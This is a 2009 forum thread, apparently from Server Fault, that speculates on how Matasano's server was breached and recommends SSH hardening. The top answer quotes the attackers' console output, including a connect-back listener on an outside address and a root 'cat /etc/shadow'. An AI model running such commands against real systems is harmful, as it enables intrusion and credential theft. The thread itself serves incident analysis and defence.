Home / server / Questions / 45653
Accepted
user14898
Asked: 2009-07-26 21:52:14 +0800 CST

How did Matasano get hacked?

  • 772

from: http://seclists.org/fulldisclosure/2009/Jul/0388.html

If I understand it best from the posts from: http://news.ycombinator.com/item?id=723798 the Matasano guys left sshd internet accessible - any proposed solutions for this (from a programming point-of-view) ?

security hacking vulnerabilities

5 Answers

  1. Best Answer

    How did Matasano get hacked?

    That's impossible to answer from the information in the post to Full Disclosure. However it's always interesting to speculate, as they do give a little info away - 

    # ./th3_f1n4l_s0lut10n www.matasano.com
[-] Connecting to 69.61.87.163:22..
[/] Looking for valid non-root user.. adam
******** R3D4CT3D h4h4h4h4 ********

    They run their binary "th3_f1n41_s01ut10n" against Matasano's server, which connects to the ssh port. It finds a valid non-root user through some unknown means, and the rest of the output is redacted. 

    # ./th3_f1n4l_s0lut10n -u adam -t 3 www.matasano.com
[*] Connectback listener on 209.112.118.10:3338..
[!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1, OpenSSL 0.9.8g 19 Oct 2007]

    The binary is run again using the found username, which logs in and connects back to their server on port 3338 (hope that's not registered in their name...).

    adam_at_www:~$ uname -a
Linux www 2.6.20.1-1-686 #1 SMP Sun Mar 4 12:44:55 UTC 2007 i686 GNU/Linux
**** h4h4h4hh4h4h4 l3tz us3 m0r3 !0D4Y! H4H4H4H4H4H4H4 ****

    They could be implying they have a 0-day against this kernel, which is quite old when you consider this company's stock-in-trade.

    adam_at_www:~$ cd /tmp
*********** B0R1NG ***********
root_at_www:~# cat /etc/shadow

    Whoops - all of a sudden the user is now root. They have a local privilege escalation exploit in /tmp that might be the 0-day they referred to.

    So there are at least two exploits going on here - the OpenSSH exploit to get a valid non-root user on the system, and login as that user, and then the local privilege escalation.

    Considering that OpenSSH has a few known security issues since version 4.5:

    From OpenSSH's security page:

    • OpenSSH prior to version 5.2 is vulnerable to the protocol weakness described in CPNI-957037 "Plaintext Recovery Attack Against SSH". However, based on the limited information available it appears that this described attack is infeasible in most circumstances. For more information please refer to the cbc.adv advisory and the OpenSSH 5.2 release notes.
    • OpenSSH 4.9 and newer do not execute ~/.ssh/rc for sessions whose command has been overridden with a sshd_config(5) ForceCommand directive. This was a documented, but unsafe behaviour (described in OpenSSH 4.9 release notes).
    • OpenSSH 4.7 and newer do not fall back to creating trusted X11 authentication cookies when untrusted cookie generation fails (e.g. due to deliberate resource exhaustion), as described in the OpenSSH 4.7 release notes.

    I guess having this older Linux kernel and older SSH daemon did for them. Also, it was running on their www server, which is available to the Internet, which is quite a confident thing to do in my opinion. The people who broke in obviously wanted to embarrass them.

    How to prevent these attacks?

    This could have been prevented by proactive administration - making sure any internet-facing services are patched, and limiting the number of people who can connect rather than allowing people to connect from anywhere. This episode compounds the lesson that secure system administration is hard, and requires dedication from the business to provide time for IT to keep things patched - in reality, not something that happens easily, at least in smaller companies.

    Using a belt-and-braces approach is best - using public-key authentication, whitelisting on the ssh daemon, two-factor authentication, IP restrictions, and/or putting everything behind the VPN are possible routes to lock it down.

    I think I know what I'll be doing at work tomorrow. :)

    • 34

  2. People love to create FUD over that, but it seems that they knew that the user adam was there already and knew his password as well (maybe through brute force or other methods). However, they want to look cool and create this fuss all over.

    Another thing interesting to note is that the user adam has not logged to that box for more than a year:

    (output of lastlog)

     adam             pts/1    ool-4350ab48.dyn Sat Jul 26 20:45:18 -0400 2008

    So he probably kept that password (maybe a bad one) for a while.

    *If they really had a tool to discover user names via SSH, they could have used all the other users to gain remote access, but they used the most common user name in that box (easily to guess).

    • 3

  3. Why would you try and solve this from a programming point of view?

    You should instead solve it from a smart-server-administrator point of view. There are a few great suggestions in the comments of the links you've posted, such as using a whitelist.

    I'd also like to add that, because you're asking here, you are most likely by no means a security expert, and anything you could think to write would only add more holes. This really isn't a programming question at all.

    • 2

  4. Protect your software from 0-day attacks... which is impossible.

    Maybe one good approach is to claim that your software is unhackable, which will lead whitehats to try it out and full disclose everything, leaving less holes. Oracle 10 had this claim, then on the following day like 9 new holes were found. Its quite secure now.

    Most probably, the hacker abused configuration of perfectly good software

    • 2

  5. it blows my mind that they had so many users with shells on that machine. that's how they got owned for sure, everything else is red herring intended to distract. one of them got their ssh client backdoored on some other shell machine most likely and then it was game over. giving everyone shell accounts and making sshd world accessible is just lazy and stupid.

    • 2